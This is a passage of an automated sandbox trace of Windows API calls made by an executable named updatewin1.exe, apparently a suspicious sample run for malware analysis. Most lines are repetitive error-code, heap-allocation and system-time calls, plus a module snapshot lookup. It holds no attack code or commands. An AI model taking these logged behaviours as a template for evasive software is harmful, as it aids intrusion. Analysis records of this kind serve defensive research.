x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcb\x5e\xfb\xb9\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.972] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe")) returned 0x5f [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.972] GetLastError () returned 0x0 [0054.972] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.973] GetLastError () returned 0x0 [0054.973] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.974] GetLastError () returned 0x0 [0054.974] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.975] SetLastError (dwErrCode=0x0) [0054.975] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.976] GetLastError () returned 0x0 [0054.976] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.977] SetLastError (dwErrCode=0x0) [0054.977] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.978] GetLastError () returned 0x0 [0054.978] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] GetLastError () returned 0x0 [0054.979] SetLastError (dwErrCode=0x0) [0054.979] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x74) returned 0x251990 [0054.979] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.980] GetLastError () returned 0x0 [0054.980] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.983] GetLastError () returned 0x0 [0054.983] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.984] GetLastError () returned 0x0 [0054.984] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.985] GetLastError () returned 0x0 [0054.985] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.986] SetLastError (dwErrCode=0x0) [0054.986] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.987] SetLastError (dwErrCode=0x0) [0054.987] GetLastError () returned 0x0 [0054.988] SetLastError (dwErrCode=0x0) [0054.988] GetLastError () returned 0x0 [0054.988] SetLastError (dwErrCode=0x0) [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x98) returned 0x251a10 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1f) returned 0x251ab0 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x36) returned 0x251ad8 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x37) returned 0x251b18 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3c) returned 0x251b58 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x31) returned 0x251ba0 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251be0 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x251c00 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x14) returned 0x251c30 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xd) returned 0x251c50 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x25) returned 0x251c68 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x39) returned 0x251c98 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x251ce0 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251d00 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe) returned 0x251d20 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x69) returned 0x251d38 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3e) returned 0x251db0 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1b) returned 0x251df8 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1d) returned 0x251e20 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x251e48 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x251e98 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x251eb8 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1b) returned 0x251ed8 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x251f00 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x29) returned 0x251f30 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1e) returned 0x251f68 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x41) returned 0x251f90 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251fe8 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xf) returned 0x252008 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x16) returned 0x252020 [0054.988] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2a) returned 0x252040 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x29) returned 0x252078 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x15) returned 0x2520b0 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1e) returned 0x2520d0 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2a) returned 0x2520f8 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x252130 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x252150 [0054.989] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x46) returned 0x252170 [0054.989] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2511f8 | out: hHeap=0x250000) returned 1 [0054.990] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x2521c0 [0054.990] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x80) returned 0x2511f8 [0054.990] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0054.990] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2511f8) returned 0x80 [0054.990] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.990] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0054.991] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0054.991] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0054.992] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0054.993] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0054.993] GetTickCount () returned 0x1c9a4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.993] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.993] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.993] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] 